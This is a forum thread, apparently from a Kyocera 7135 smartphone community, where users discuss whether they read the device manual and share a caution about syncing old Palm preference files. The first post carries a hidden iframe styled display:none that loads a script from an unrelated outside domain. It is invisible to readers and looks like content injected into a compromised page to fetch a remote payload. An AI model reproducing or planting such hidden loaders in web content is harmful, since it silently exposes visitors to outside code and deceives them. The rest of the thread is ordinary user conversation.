    How many have actually read the manual

    Hi All,
    I am involved in the sale of these devices on a daily basis. It amazes me how many people don't bother to read the manual. Then I thought to myself I didn't, at first. I paid my price when I realized that syncing old Plam data can really screw up phone performance. I had a Palm 5 and deleted all of my software, but it turns out there is a file called Palm on your hard drive that has a file named saved_preferences.prc. This controlls the preferences for Palm, or can be transefered to a 7135, which is not good. I was wondering how may people actually read the manual, before they played and synced, after the synced, or as a last resort.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    Makin' your way in the world today takes everything you've got, havin' a 7135 sure would help alot!

    Being in the field as an Engineer I get frustarted that my clients don't read Manuals before they attempt to operate the equipment.I am in the minority that says I follow what I preach.:angel Yes I do read the Manual.
    Funny it worked.....the last time! Now I am not sure what was working before they put a hole in my head !

    I'm an IT consultant.... My favorite Xmas present to my clients is a t-shirt emblazoned only with the acronym

    so my question to others is which manual? The User Guide booklet that comes with the phone or the more complete Reference Manual PDF file on the CD. I have Adobe reader on my phone and I keep a copy of the PDF Reference Manual on my SD card for reference.

    PS: Of course I read the manual. I downloaded it before I got the phone and drooled over it!

    A near final draft of the manuals were "found" online a week or two before the 7135 was released on Alltel. I read the manuals cover to cover before I owned the phone.

    I read those manuals a lot, but never looked at the one that came with my 7135. I still have never referred to the manual for an answer to a question... I was mostly looking for details about some of the features of the 7135 where we weren't sure what the capabilities were... and reading the manuals before I got the 7135 was a good way scratch my 7135 itch before it came out :p

    I was so excited...

    I read the manual as soon as Kyocera had it on their webpage. And I only bought the phone a month ago!
